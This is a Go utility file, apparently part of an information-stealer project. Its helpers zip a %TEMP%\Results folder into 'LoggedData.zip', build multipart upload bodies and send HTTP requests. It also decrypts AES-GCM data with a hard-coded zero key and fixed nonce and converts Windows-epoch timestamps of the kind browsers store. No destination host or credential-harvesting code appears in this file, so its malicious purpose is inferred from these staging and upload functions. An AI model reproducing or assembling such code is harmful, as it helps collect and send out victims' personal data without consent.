/
utils.go
220 lines (173 loc) · 4.21 KB
/
utils.go
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package utils
import (
"archive/zip"
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/json"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"
"time"
"github.com/equisde/Clean/core"
)
func CheckFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
}
return true
}
func CleanPath(filePath string) string {
return strings.ReplaceAll(filepath.Clean(filePath), `\`, `/`)
}
func CopyFile(destinationFile, sourceFile string) bool {
if !CheckFileExist(sourceFile) {
return false
}
dataSourceFile, err := os.Open(sourceFile)
if err != nil {
return false
}
defer dataSourceFile.Close()
destSourceFile, err := os.Create(destinationFile)
if err != nil {
return false
}
defer destSourceFile.Close()
_, err = io.Copy(destSourceFile, dataSourceFile)
if err != nil {
return false
}
return true
}
func Compress() error {
var (
buff = new(bytes.Buffer)
exportDir = filepath.Join(os.Getenv("TEMP"), "Results")
exportFile = CleanPath(filepath.Join(exportDir, "LoggedData.zip"))
zipWriter = zip.NewWriter(buff)
)
filepath.Walk(exportDir, func(file string, fi os.FileInfo, err error) error {
header, err := zip.FileInfoHeader(fi)
if err != nil {
return err
}
header.Name = filepath.ToSlash(file)
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
return err
}
defer data.Close()
var folderPath = fi.Name()
if regexS := regex.FindString(file); len(regexS) > 0 {
folderPath = strings.Replace(regexS, "Results\\", "", -1) + fi.Name() // TODO: find a better way than this.... (anything is better than this ew.)
}
fileWriter, _ := zipWriter.Create(folderPath)
if _, err := io.Copy(fileWriter, data); err != nil {
return err
}
}
return nil
})
if err := zipWriter.Close(); err != nil {
return err
}
exportedZip, _ := os.Create(exportFile)
defer exportedZip.Close()
_, err := buff.WriteTo(exportedZip)
if err != nil {
return err
}
return nil
}
func CreateWriter(fileName string) (*multipart.Writer, *bytes.Buffer) {
file, err := os.Open(fileName)
core.HandleErr(err)
defer file.Close()
body := &bytes.Buffer{}
bodywriter := multipart.NewWriter(body)
part, err := bodywriter.CreateFormFile("multipart/form-data", filepath.Base(file.Name()))
core.HandleErr(err)
io.Copy(part, file)
return bodywriter, body
}
func Decrypt(base64Encoded string) *bytes.Buffer {
encodedData, err := base64.StdEncoding.DecodeString(base64Encoded)
if err != nil {
return nil
}
cipherAES, err := aes.NewCipher(key)
if err != nil {
return nil
}
AESgcm, err := cipher.NewGCM(cipherAES)
if err != nil {
return nil
}
contentAfter, err := AESgcm.Open(nil, nonce, encodedData, nil)
if err != nil {
return nil
}
return bytes.NewBuffer(contentAfter)
}
func HttpRequest(method, url string, body *bytes.Buffer, httpHeaders map[string]string) *http.Response {
request, err := http.NewRequest(method, url, nil)
if body != nil {
request, err = http.NewRequest(method, url, body)
core.HandleErr(err)
}
for headerType, headerValue := range httpHeaders {
request.Header.Set(headerType, headerValue)
}
response, err := http.DefaultClient.Do(request)
core.HandleErr(err)
return response
}
func ReadBody(res *http.Response) []byte {
body, err := ioutil.ReadAll(res.Body)
core.HandleErr(err)
return body
}
func Epoch(epoch int64) time.Time {
maxTime := int64(99633311740000000)
if epoch > maxTime {
return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)
}
t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC)
for i := 0; i < 1000; i++ {
t = t.Add(time.Duration(epoch))
}
return t
}
func WriteJSON(fileName string, data interface{}) bool {
file, err := os.OpenFile(fileName, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
if err != nil {
return false
}
defer file.Close()
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(data)
if err != nil {
return false
}
_, err = file.Write(w.Bytes())
if err != nil {
return false
}
return true
}
var (
key = make([]byte, 32)
nonce = bytes.Repeat([]byte{69}, 12)
regex = regexp.MustCompile(`Results\\[\w+]+\\`)
)